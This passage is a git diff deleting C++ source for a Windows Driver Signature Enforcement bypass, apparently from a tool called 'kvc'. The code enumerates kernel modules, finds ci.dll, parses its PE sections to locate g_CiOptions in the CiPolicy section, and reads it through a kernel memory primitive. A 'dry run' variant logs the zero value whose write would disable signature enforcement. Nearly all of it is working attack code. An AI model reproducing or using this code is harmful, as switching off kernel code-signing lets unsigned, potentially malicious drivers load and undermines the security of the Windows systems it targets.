char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) { - fileName++; // Skip backslash - } else { - fileName = mod.ImageName; - } - - if (_stricmp(fileName, moduleName) == 0) { - ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); - - // Validate base address is not NULL - if (baseAddr == 0) { - ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); - continue; // Keep searching in case of duplicates - } - - DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); - return baseAddr; - } - } - - ERROR(L"[DSE] Module %S not found in kernel", moduleName); - return std::nullopt; -} - -ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { - DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); - - // Get CiPolicy section information - auto dataSection = GetDataSection(ciBase); - if (!dataSection) { - ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); - return 0; - } - - ULONG_PTR dataStart = dataSection->first; - SIZE_T dataSize = dataSection->second; - - DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); - - // g_CiOptions is always at offset +4 in CiPolicy section - // This is a documented offset used by all DSE bypass tools - ULONG_PTR ciOptionsAddr = dataStart + 0x4; - - // Verify we can read from this address - auto currentValue = m_rtc->Read32(ciOptionsAddr); - if (!currentValue) { - ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); - return 0; - } - - DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); - return ciOptionsAddr; -} - -std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { - // Read DOS header (MZ signature) - auto dosHeader = m_rtc->Read16(moduleBase); - if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ" - return std::nullopt; - } - - // Get PE header offset (e_lfanew) - auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); - if (!e_lfanew || e_lfanew.value() > 0x1000) { - return std::nullopt; - } - - ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); - - // Verify PE signature - auto peSignature = m_rtc->Read32(ntHeaders); - if (!peSignature || peSignature.value() != 0x4550) { // "PE" - return std::nullopt; - } - - // Get section count - auto numSections = m_rtc->Read16(ntHeaders + 0x6); - if (!numSections || numSections.value() > 50) { - return std::nullopt; - } - - auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); - if (!sizeOfOptionalHeader) return std::nullopt; - - ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); - - // Debug: List all sections for diagnostic purposes - DEBUG(L"[DSE] Listing ALL sections in ci.dll:"); - for (WORD i = 0; i < numSections.value(); i++) { - ULONG_PTR sectionHeader = firstSection + (i * 40); - - // Read section name (8 bytes) - char name[9] = {0}; - for (int j = 0; j < 8; j++) { - auto ch = m_rtc->Read8(sectionHeader + j); - if (ch) name[j] = static_cast(ch.value()); - } - - auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); - auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); - auto characteristics = m_rtc->Read32(sectionHeader + 0x24); - - if (virtualSize && virtualAddr && characteristics) { - DWORD chars = characteristics.value(); - bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE - - DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", - i, name, virtualAddr.value(), virtualSize.value(), chars, - writable ? L"[WRITABLE]" : L"[READ-ONLY]"); - } - } - - // Search for CiPolicy section specifically - for (WORD i = 0; i < numSections.value(); i++) { - ULONG_PTR sectionHeader = firstSection + (i * 40); - - // Read section name - char name[9] = {0}; - for (int j = 0; j < 8; j++) { - auto ch = m_rtc->Read8(sectionHeader + j); - if (ch) name[j] = static_cast(ch.value()); - } - - auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); - auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); - - if (virtualSize && virtualAddr) { - // Look for CiPolicy section by name - if (strcmp(name, "CiPolicy") == 0) { - DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", - virtualAddr.value(), virtualSize.value()); - - return std::make_pair( - moduleBase + virtualAddr.value(), - static_cast(virtualSize.value()) - ); - } - } - } - - ERROR(L"[DSE] CiPolicy section not found in ci.dll"); - return std::nullopt; -} - -bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { - // Simplified validation - address should be within module bounds - // Maximum reasonable module size is 2MB - return (addr > moduleBase && addr < moduleBase + 0x200000); -} - -DWORD DSEBypass::GetWindowsBuild() noexcept { - OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; - - typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); - RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( - GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); - - if (RtlGetVersion) { - RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); - return osInfo.dwBuildNumber; - } - - return 0; -} \ No newline at end of file diff --git a/kvc/DSEBypass_write.cpp b/kvc/DSEBypass_write.cpp deleted file mode 100644 index 80a444f..0000000 --- a/kvc/DSEBypass_write.cpp +++ /dev/null @@ -1,358 +0,0 @@ -#include "DSEBypass.h" -#include "common.h" - -#pragma comment(lib, "ntdll.lib") - -// Kernel module structures (same as in Utils.cpp) -typedef struct _SYSTEM_MODULE { - ULONG_PTR Reserved1; - ULONG_PTR Reserved2; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; -} SYSTEM_MODULE, *PSYSTEM_MODULE; - -typedef struct _SYSTEM_MODULE_INFORMATION { - ULONG Count; - SYSTEM_MODULE Modules[1]; -} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; - -DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} - -bool DSEBypass::DisableDSE() noexcept { - INFO(L"[DSE] [DRY RUN MODE] Attempting to disable Driver Signature Enforcement..."); - - // Step 1: Find ci.dll base address - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); - - // Step 2: Locate g_CiOptions in CiPolicy section - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - // Step 3: Read current value and store as original - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - m_originalValue = current.value(); - INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); - - // Step 4: DRY RUN - Show what would be written for test - DWORD newValue = 0x0; - INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)", - m_originalValue, m_originalValue); - INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); - - // Step 5: DRY RUN - Show what would be written for actual disable - INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (disable DSE)", - m_originalValue, newValue); - INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); - - SUCCESS(L"[DSE] [DRY RUN] DSE disable simulation completed (NO actual write performed)"); - SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X", - m_ciOptionsAddr, newValue); - - return true; -} - -bool DSEBypass::RestoreDSE() noexcept { - INFO(L"[DSE] [DRY RUN MODE] Attempting to restore Driver Signature Enforcement..."); - - // Step 1: Find ci.dll base address - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - // Step 2: Locate g_CiOptions - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - // Step 3: Read current value - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - DWORD currentValue = current.value(); - INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); - - // Step 4: DRY RUN - Show what would be written for test - INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)", - currentValue, currentValue); - INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); - - // Step 5: DRY RUN - Show what would be written for restore - DWORD newValue = m_originalValue ? m_originalValue : 0x6; - INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (restore DSE)", - currentValue, newValue); - INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); - - SUCCESS(L"[DSE] [DRY RUN] DSE restore simulation completed (NO actual write performed)"); - SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X", - m_ciOptionsAddr, newValue); - - return true; -} - -std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { - HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); - if (!hNtdll) { - ERROR(L"[DSE] Failed to get ntdll.dll handle"); - return std::nullopt; - } - - typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( - ULONG SystemInformationClass, - PVOID SystemInformation, - ULONG SystemInformationLength, - PULONG ReturnLength - ); - - auto pNtQuerySystemInformation = reinterpret_cast( - GetProcAddress(hNtdll, "NtQuerySystemInformation")); - - if (!pNtQuerySystemInformation) { - ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); - return std::nullopt; - } - - // First call to get required buffer size - ULONG bufferSize = 0; - NTSTATUS status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - nullptr, - 0, - &bufferSize - ); - - if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH - ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); - return std::nullopt; - } - - // Allocate buffer and get module list - auto buffer = std::make_unique(bufferSize); - auto modules = reinterpret_cast(buffer.get()); - - status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - modules, - bufferSize, - &bufferSize - ); - - if (status != 0) { - ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); - return std::nullopt; - } - - INFO(L"[DSE] Found %d kernel modules", modules->Count); - - // Debug: Show first 10 modules for diagnostic purposes - DEBUG(L"[DSE] Listing first 10 kernel modules:"); - for (ULONG i = 0; i < modules->Count && i < 10; i++) { - auto& mod = modules->Modules[i]; - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) fileName++; - else fileName = mod.ImageName; - - DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, - reinterpret_cast(mod.ImageBase)); - } - - // Search for target module by name - for (ULONG i = 0; i < modules->Count; i++) { - auto& mod = modules->Modules[i]; - - // Extract filename from full path - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) { - fileName++; // Skip backslash - } else { - fileName = mod.ImageName; - } - - if (_stricmp(fileName, moduleName) == 0) { - ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); - - // Validate base address is not NULL - if (baseAddr == 0) { - ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); - continue; // Keep searching in case of duplicates - } - - DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); - return baseAddr; - } - } - - ERROR(L"[DSE] Module %S not found in kernel", moduleName); - return std::nullopt; -} - -ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { - DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); - - // Get CiPolicy section information - auto dataSection = GetDataSection(ciBase); - if (!dataSection) { - ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); - return 0; - } - - ULONG_PTR dataStart = dataSection->first; - SIZE_T dataSize = dataSection->second; - - DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); - - // g_CiOptions is always at offset +4 in CiPolicy section - // This is a documented offset used by all DSE bypass tools - ULONG_PTR ciOptionsAddr = dataStart + 0x4; - - // Verify we can read from this address - auto currentValue = m_rtc->Read32(ciOptionsAddr); - if (!currentValue) { - ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); - return 0; - } - - DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); - return ciOptionsAddr; -} - -std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { - // Read DOS header (MZ signature) - auto dosHeader = m_rtc->Read16(moduleBase); - if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ" - return std::nullopt; - } - - // Get PE header offset (e_lfanew) - auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); - if (!e_lfanew || e_lfanew.value() > 0x1000) { - return std::nullopt; - } - - ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); - - // Verify PE signature - auto peSignature = m_rtc->Read32(ntHeaders); - if (!peSignature || peSignature.value() != 0x4550) { // "PE" - return std::nullopt; - } - - // Get section count - auto numSections = m_rtc->Read16(ntHeaders + 0x6); - if (!numSections || numSections.value() > 50) { - return std::nullopt; - } - - auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); - if (!sizeOfOptionalHeader) return std::nullopt; - - ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); - - // Debug: List all sections for diagnostic purposes - DEBUG(L"[DSE] Listing ALL sections in ci.dll:"); - for (WORD i = 0; i < numSections.value(); i++) { - ULONG_PTR sectionHeader = firstSection + (i * 40); - - // Read section name (8 bytes) - char name[9] = {0}; - for (int j = 0; j < 8; j++) { - auto ch = m_rtc->Read8(sectionHeader + j); - if (ch) name[j] = static_cast(ch.value()); - } - - auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); - auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); - auto characteristics = m_rtc->Read32(sectionHeader + 0x24); - - if (virtualSize && virtualAddr && characteristics) { - DWORD chars = characteristics.value(); - bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE - - DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", - i, name, virtualAddr.value(), virtualSize.value(), chars, - writable ? L"[WRITABLE]" : L"[READ-ONLY]"); - } - } - - // Search for CiPolicy section specifically - for (WORD i = 0; i < numSections.value(); i++) { - ULONG_PTR sectionHeader = firstSection + (i * 40); - - // Read section name - char name[9] = {0}; - for (int j = 0; j < 8; j++) { - auto ch = m_rtc->Read8(sectionHeader + j); - if (ch) name[j] = static_cast(ch.value()); - } - - auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); - auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); - - if (virtualSize && virtualAddr) { - // Look for CiPolicy section by name - if (strcmp(name, "CiPolicy") == 0) { - DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", - virtualAddr.value(), virtualSize.value()); - - return std::make_pair( - moduleBase + virtualAddr.value(), - static_cast(virtualSize.value()) - ); - } - } - } - - ERROR(L"[DSE] CiPolicy section not found in ci.dll"); - return std::nullopt; -} - -bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { - // Simplified validation - address should be within module bounds - // Maximum reasonable module size is 2MB - return (addr > moduleBase && addr < moduleBase + 0x200000); -} - -DWORD DSEBypass::GetWindowsBuild() noexcept { - OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; - - typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); - RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( - GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); - - if (RtlGetVersion) { - RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); - return osInfo.dwBuildNumber; - } - - return 0; -} \ No newline at end of file